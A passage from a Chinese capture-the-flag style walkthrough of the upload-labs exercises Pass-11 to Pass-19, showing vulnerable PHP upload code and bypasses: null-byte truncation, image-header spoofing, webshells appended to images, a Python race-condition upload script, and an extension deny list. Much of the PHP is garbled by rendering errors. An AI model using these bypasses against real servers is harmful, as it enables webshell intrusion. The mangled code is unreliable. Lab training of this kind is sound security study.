14 $msg = ‘上传失败!’;
15 }
16 }
17 else{
18 $msg = “只允许上传.jpg|.png|.gif类型文件!”;
19 }
20 }
复制代码
分析代码,这是以时间戳的方式对上传文件进行命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建

文件夹,上传的文件名写成1.jpg, save_path改成…/upload/1.php%00,最后保存下来的文件就是1.php

Pass-12
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if(isset( msg=null;3if(isset(_POST[‘submit’])){
4 $ext_arr = array(‘jpg’,‘png’,‘gif’);
5 f i l e e x t = s u b s t r ( file_ext = substr( fileext=substr(_FILES[‘upload_file’][‘name’],strrpos( F I L E S [ ′ u p l o a d f i l e ′ ] [ ′ n a m e ′ ] , " . " ) + 1 ) ; 6 i f ( i n a r r a y ( _FILES['upload_file']['name'],".")+1); 6 if(in_array( FILES[uploadfile][name],".")+1);6if(inarray(file_ext,$ext_arr)){
7 $temp_file = $_FILES[‘upload_file’][‘tmp_name’];
8 $img_path = P O S T [ ′ s a v e p a t h ′ ] . " / " . r a n d ( 10 , 99 ) . d a t e ( " Y m d H i s " ) . " . " . _POST['save_path']."/".rand(10, 99).date("YmdHis").".". POST[savepath]."/".rand(10,99).date("YmdHis").".".file_ext;
9
10 if(move_uploaded_file( t e m p f i l e , temp_file, tempfile,img_path)){
11 $is_upload = true;
12 }
13 else{
14 $msg = “上传失败”;
15 }
16 }
17 else{
18 $msg = “只允许上传.jpg|.png|.gif类型文件!”;
19 }
20 }
复制代码
原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成…/upload/1.php【二进制00】形式

Pass-13
源代码:

复制代码
1 function getReailFileType($filename){
2 f i l e = f o p e n ( file = fopen( file=fopen(filename, “rb”);
3 b i n = f r e a d ( bin = fread( bin=fread(file, 2); //只读2字节
4 fclose($file);
5 $strInfo = @unpack(“C2chars”, $bin);
6 t y p e C o d e = i n t v a l ( typeCode = intval( typeCode=intval(strInfo[‘chars1’].$strInfo[‘chars2’]);
7 f i l e T y p e = ′ ′ ; 8 s w i t c h ( fileType = ''; 8 switch( fileType=;8switch(typeCode){
9 case 255216:
10 $fileType = ‘jpg’;
11 break;
12 case 13780:
13 $fileType = ‘png’;
14 break;
15 case 7173:
16 $fileType = ‘gif’;
17 break;
18 default:
19 $fileType = ‘unknown’;
20 }
21 return $fileType;
22 }
23
24 $is_upload = false;
25 m s g = n u l l ; 26 i f ( i s s e t ( msg = null; 26 if(isset( msg=null;26if(isset(_POST[‘submit’])){
27 $temp_file = $_FILES[‘upload_file’][‘tmp_name’];
28 f i l e t y p e = g e t R e a i l F i l e T y p e ( file_type = getReailFileType( filetype=getReailFileType(temp_file);
29
30 if($file_type == ‘unknown’){
31 $msg = “文件未知,上传失败!”;
32 }else{
33 $img_path = U P L O A D A D D R . " / " . r a n d ( 10 , 99 ) . d a t e ( " Y m d H i s " ) . " . " . UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".". UPLOADADDR."/".rand(10,99).date("YmdHis").".".file_type;
34 if(move_uploaded_file( t e m p f i l e , temp_file, tempfile,img_path)){
35 $is_upload = true;
36 }
37 else{
38 $msg = “上传失败”;
39 }
40 }
41 }
复制代码
绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。

或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞

Pass-14
源代码:

复制代码
1 function isImage($filename){
2 t y p e s = ′ . j p e g ∣ . p n g ∣ . g i f ′ ; 3 i f ( f i l e e x i s t s ( types = '.jpeg|.png|.gif'; 3 if(file_exists( types=.jpeg.png.gif;3if(fileexists(filename)){
4 i n f o = g e t i m a g e s i z e ( info = getimagesize( info=getimagesize(filename);
5 e x t = i m a g e t y p e t o e x t e n s i o n ( ext = image_type_to_extension( ext=imagetypetoextension(info[2]);
6 if(stripos( t y p e s , types, types,ext)){
7 return $ext;
8 }else{
9 return false;
10 }
11 }else{
12 return false;
13 }
14 }
15
16 $is_upload = false;
17 m s g = n u l l ; 18 i f ( i s s e t ( msg = null; 18 if(isset( msg=null;18if(isset(_POST[‘submit’])){
19 $temp_file = $_FILES[‘upload_file’][‘tmp_name’];
20 r e s = i s I m a g e ( res = isImage( res=isImage(temp_file);
21 if(!$res){
22 $msg = “文件未知,上传失败!”;
23 }else{
24 $img_path = U P L O A D A D D R . " / " . r a n d ( 10 , 99 ) . d a t e ( " Y m d H i s " ) . UPLOAD_ADDR."/".rand(10, 99).date("YmdHis"). UPLOADADDR."/".rand(10,99).date("YmdHis").res;
25 if(move_uploaded_file( t e m p f i l e , temp_file, tempfile,img_path)){
26 $is_upload = true;
27 }
28 else{
29 $msg = “上传失败”;
30 }
31 }
32 }
复制代码
getimagesize() 函数用于获取图像尺寸 ,索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

这里有详解:https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617

image_type_to_extension() 函数用于获取图片后缀

Pass-15
源代码:

复制代码
1 function isImage($filename){
2 //需要开启php_exif模块
3 i m a g e t y p e = e x i f i m a g e t y p e ( image_type = exif_imagetype( imagetype=exifimagetype(filename);
4 switch ($image_type) {
5 case IMAGETYPE_GIF:
6 return “gif”;
7 break;
8 case IMAGETYPE_JPEG:
9 return “jpg”;
10 break;
11 case IMAGETYPE_PNG:
12 return “png”;
13 break;
14 default:
15 return false;
16 break;
17 }
18 }
19
20 $is_upload = false;
21 m s g = n u l l ; 22 i f ( i s s e t ( msg = null; 22 if(isset( msg=null;22if(isset(_POST[‘submit’])){
23 $temp_file = $_FILES[‘upload_file’][‘tmp_name’];
24 r e s = i s I m a g e ( res = isImage( res=isImage(temp_file);
25 if(!$res){
26 $msg = “文件未知,上传失败!”;
27 }else{
28 $img_path = U P L O A D A D D R . " / " . r a n d ( 10 , 99 ) . d a t e ( " Y m d H i s " ) . " . " . UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".". UPLOADADDR."/".rand(10,99).date("YmdHis").".".res;
29 if(move_uploaded_file( t e m p f i l e , temp_file, tempfile,img_path)){
30 $is_upload = true;
31 }
32 else{
33 $msg = “上传失败”;
34 }
35 }
36 }
复制代码
exif_imagetype() 此函数是php内置函数,用来获取图片类型

Pass-16
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])){
4 // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
5 $filename = $_FILES[‘upload_file’][‘name’];
6 $filetype = $_FILES[‘upload_file’][‘type’];
7 $tmpname = $_FILES[‘upload_file’][‘tmp_name’];
8
9 t a r g e t p a t h = target_path= targetpath=UPLOAD_ADDR.basename($filename);
10
11 // 获得上传文件的扩展名
12 f i l e e x t = s u b s t r ( s t r r c h r ( fileext= substr(strrchr( fileext=substr(strrchr(filename,"."),1);
13
14 //判断文件后缀与类型,合法才进行上传操作
15 if((KaTeX parse error: Expected 'EOF', got '&' at position 19: …eext == "jpg") &̲& (filetype==“image/jpeg”)){
16 if(move_uploaded_file( t m p n a m e , tmpname, tmpname,target_path))
17 {
18 //使用上传的图片生成新的图片
19 i m = i m a g e c r e a t e f r o m j p e g ( im = imagecreatefromjpeg( im=imagecreatefromjpeg(target_path);
20
21 if($im == false){
22 $msg = “该文件不是jpg格式的图片!”;
23 }else{
24 //给新图片指定文件名
25 srand(time());
26 $newfilename = strval(rand()).".jpg";
27 $newimagepath = U P L O A D A D D R . UPLOAD_ADDR. UPLOADADDR.newfilename;
28 imagejpeg( i m , im, im,newimagepath);
29 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
30 $img_path = U P L O A D A D D R . UPLOAD_ADDR. UPLOADADDR.newfilename;
31 unlink($target_path);
32 $is_upload = true;
33 }
34 }
35 else
36 {
37 KaTeX parse error: Expected 'EOF', got '}' at position 27: …!"; 38 }̲ 39 40 }el…fileext == “png”) && (KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(tmpname,$target_path))
42 {
43 //使用上传的图片生成新的图片
44 i m = i m a g e c r e a t e f r o m p n g ( im = imagecreatefrompng( im=imagecreatefrompng(target_path);
45
46 if($im == false){
47 $msg = “该文件不是png格式的图片!”;
48 }else{
49 //给新图片指定文件名
50 srand(time());
51 $newfilename = strval(rand()).".png";
52 $newimagepath = U P L O A D A D D R . UPLOAD_ADDR. UPLOADADDR.newfilename;
53 imagepng( i m , im, im,newimagepath);
54 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
55 $img_path = U P L O A D A D D R . UPLOAD_ADDR. UPLOADADDR.newfilename;
56 unlink($target_path);
57 $is_upload = true;
58 }
59 }
60 else
61 {
62 KaTeX parse error: Expected 'EOF', got '}' at position 27: …!"; 63 }̲ 64 65 }el…fileext == “gif”) && (KaTeX parse error: Expected '}', got 'EOF' at end of input: …_uploaded_file(tmpname,$target_path))
67 {
68 //使用上传的图片生成新的图片
69 i m = i m a g e c r e a t e f r o m g i f ( im = imagecreatefromgif( im=imagecreatefromgif(target_path);
70 if($im == false){
71 $msg = “该文件不是gif格式的图片!”;
72 }else{
73 //给新图片指定文件名
74 srand(time());
75 $newfilename = strval(rand()).".gif";
76 $newimagepath = U P L O A D A D D R . UPLOAD_ADDR. UPLOADADDR.newfilename;
77 imagegif( i m , im, im,newimagepath);
78 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
79 $img_path = U P L O A D A D D R . UPLOAD_ADDR. UPLOADADDR.newfilename;
80 unlink($target_path);
81 $is_upload = true;
82 }
83 }
84 else
85 {
86 $msg = “上传失败!”;
87 }
88 }else{
89 $msg = “只允许上传后缀为.jpg|.png|.gif的图片文件!”;
90 }
91 }
复制代码
原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例。

php图像二次渲染:

https://blog.csdn.net/hitwangpeng/article/details/48661433

https://blog.csdn.net/hitwangpeng/article/details/46548849

这两个讲的还可以

打开被渲染后的图片,Webshell代码仍然存在

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。

从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。

程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。

Pass-17
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 34 i f ( i s s e t ( msg = null; 3 4 if(isset( msg=null;34if(isset(_POST[‘submit’])){
5 $ext_arr = array(‘jpg’,‘png’,‘gif’);
6 $file_name = $_FILES[‘upload_file’][‘name’];
7 $temp_file = $_FILES[‘upload_file’][‘tmp_name’];
8 f i l e e x t = s u b s t r ( file_ext = substr( fileext=substr(file_name,strrpos($file_name,".")+1);
9 $upload_file = $UPLOAD_ADDR . ‘/’ . f i l e n a m e ; 1011 i f ( m o v e u p l o a d e d f i l e ( file_name; 10 11 if(move_uploaded_file( filename;1011if(moveuploadedfile(temp_file, KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(in_array(file_ext,$ext_arr)){
13 $img_path = U P L O A D A D D R . ′ / ′ . r a n d ( 10 , 99 ) . d a t e ( " Y m d H i s " ) . " . " . UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".". UPLOADADDR./.rand(10,99).date("YmdHis").".".file_ext;
14 rename($upload_file, i m g p a t h ) ; 15 u n l i n k ( img_path); 15 unlink( imgpath);15unlink(upload_file);
16 $is_upload = true;
17 }else{
18 m s g = " 只 允 许 上 传 . j p g ∣ . p n g ∣ . g i f 类 型 文 件 ! " ; 19 u n l i n k ( msg = "只允许上传.jpg|.png|.gif类型文件!"; 19 unlink( msg=".jpg.png.gif";19unlink(upload_file);
20 }
21 }else{
22 $msg = ‘上传失败!’;
23 }
24 }
复制代码
利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

复制代码
1 #!/usr/bin/env python
2 # coding:utf-8
3
4
5 import hackhttp
6 from multiprocessing.dummy import Pool as ThreadPool
7
8
9 def upload(lists):
10 hh = hackhttp.hackhttp()
11 raw = “”“POST /upload-labs/Pass-17/index.php HTTP/1.1
12 Host: 127.0.0.1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
16 Accept-Encoding: gzip, deflate
17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
18 Cookie: pass=17
19 Connection: close
20 Upgrade-Insecure-Requests: 1
21 Content-Type: multipart/form-data; boundary=---------------------------6696274297634
22 Content-Length: 341
23
24 -----------------------------6696274297634
25 Content-Disposition: form-data; name=“upload_file”; filename=“17.php”
26 Content-Type: application/octet-stream
27
28
29 -----------------------------6696274297634
30 Content-Disposition: form-data; name=“submit”
31
32 上传
33 -----------------------------6696274297634–
34 “””
35 code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php’, raw=raw)
36 print(str(code) + “\r”)
37
38
39 pool = ThreadPool(10)
40 pool.map(upload, range(10000))
41 pool.close()
42 pool.join()
复制代码
在脚本运行的时候,访问Webshell

Pass-18
源代码:

复制代码
1 //index.php
2 $is_upload = false;
3 m s g = n u l l ; 4 i f ( i s s e t ( msg = null; 4 if (isset( msg=null;4if(isset(_POST[‘submit’]))
5 {
6 require_once("./myupload.php");
7 $imgFileName =time();
8 u = n e w M y U p l o a d ( u = new MyUpload( u=newMyUpload(_FILES[‘upload_file’][‘name’], $_FILES[‘upload_file’][‘tmp_name’], F I L E S [ ′ u p l o a d f i l e ′ ] [ ′ s i z e ′ ] , _FILES['upload_file']['size'], FILES[uploadfile][size],imgFileName);
9 $status_code = u − > u p l o a d ( u->upload( u>upload(UPLOAD_ADDR);
10 switch ($status_code) {
11 case 1:
12 $is_upload = true;
13 $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
14 break;
15 case 2:
16 $msg = ‘文件已经被上传,但没有重命名。’;
17 break;
18 case -1:
19 $msg = ‘这个文件不能上传到服务器的临时文件存储目录。’;
20 break;
21 case -2:
22 $msg = ‘上传失败,上传目录不可写。’;
23 break;
24 case -3:
25 $msg = ‘上传失败,无法上传该类型文件。’;
26 break;
27 case -4:
28 $msg = ‘上传失败,上传的文件过大。’;
29 break;
30 case -5:
31 $msg = ‘上传失败,服务器已经存在相同名称文件。’;
32 break;
33 case -6:
34 $msg = ‘文件无法上传,文件不能复制到目标目录。’;
35 break;
36 default:
37 $msg = ‘未知错误!’;
38 break;
39 }
40 }
41
42 //myupload.php
43 class MyUpload{
44 …
45 …
46 …
47 var $cls_arr_ext_accepted = array(
48 “.doc”, “.xls”, “.txt”, “.pdf”, “.gif”, “.jpg”, “.zip”, “.rar”, “.7z”,".ppt",
49 “.html”, “.xml”, “.tiff”, “.jpeg”, “.png” );
50
51 …
52 …
53 …
54 /** upload()
55 **
56 ** Method to upload the file.
57 ** This is the only method to call outside the class.
58 ** @para String name of directory we upload to
59 ** @returns void
60 **/
61 function upload( $dir ){
62
63 $ret = $this->isUploadedFile();
64
65 if( $ret != 1 ){
66 return $this->resultUpload( $ret );
67 }
68
69 $ret = $this->setDir( $dir );
70 if( $ret != 1 ){
71 return $this->resultUpload( $ret );
72 }
73
74 $ret = $this->checkExtension();
75 if( $ret != 1 ){
76 return $this->resultUpload( $ret );
77 }
78
79 $ret = $this->checkSize();
80 if( $ret != 1 ){
81 return $this->resultUpload( $ret );
82 }
83
84 // if flag to check if the file exists is set to 1
85
86 if( $this->cls_file_exists == 1 ){
87
88 $ret = $this->checkFileExists();
89 if( $ret != 1 ){
90 return $this->resultUpload( $ret );
91 }
92 }
93
94 // if we are here, we are ready to move the file to destination
95
96 $ret = $this->move();
97 if( $ret != 1 ){
98 return $this->resultUpload( $ret );
99 }
100
101 // check if we need to rename the file
102
103 if( $this->cls_rename_file == 1 ){
104 $ret = $this->renameFile();
105 if( $ret != 1 ){
106 return $this->resultUpload( $ret );
107 }
108 }
109
110 // if we are here, everything worked as planned
111
112 return $this->resultUpload( “SUCCESS” );
113
114 }
115 …
116 …
117 …
118 };
复制代码
刚开始没有找到绕过方法,最后下载作者Github提供的打包环境,利用上传重命名竞争+Apache解析漏洞,成功绕过。

上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。

快速提交上面的数据包,可以让文件名字不被重命名上传成功。

然后利用Apache的解析漏洞,即可获得shell

Pass-19
源代码:

复制代码
1 $is_upload = false;
2 m s g = n u l l ; 3 i f ( i s s e t ( msg = null; 3 if (isset( msg=null;3if(isset(_POST[‘submit’])) {
4 if (file_exists($UPLOAD_ADDR)) {
5 $deny_ext = array(“php”,“php5”,“php4”,“php3”,“php2”,“html”,“htm”,“phtml”,“pht”,“jsp”,“jspa”,“jspx”,“jsw”,“jsv”,“jspf”,“jtml”,“asp”,“aspx”,“asa”,“asax”,“ascx”,“ashx”,“asmx”,“cer”,“swf”,“htaccess”);
6
7 $file_name = $_POST[‘save_name’];
8 f i l e e x t = p a t h i n f o ( file_ext = pathinfo( fileext=pathinfo(file_name,PATHINFO_EXTENSION);
9
10 if(!in_array( f i l e e x t , file_ext, fileext,deny_ext)) {
11 $img_path = U P L O A D A D D R . ′ / ′ . UPLOAD_ADDR . '/' . UPLOADADDR./.file_name;
12 if (move_uploaded_file($_FILES[‘upload_file’][‘tmp_name’], $img_path)) {
13 $is_upload = true;
14 }else{
15 $msg = ‘上传失败!’;
16 }
17 }else{
18 $msg = ‘禁止保存为该类型文件!’;
19 }
20
21 } else {
22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!’;
23 }
24 }
复制代码
原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg

你可能感兴趣的:(渗透)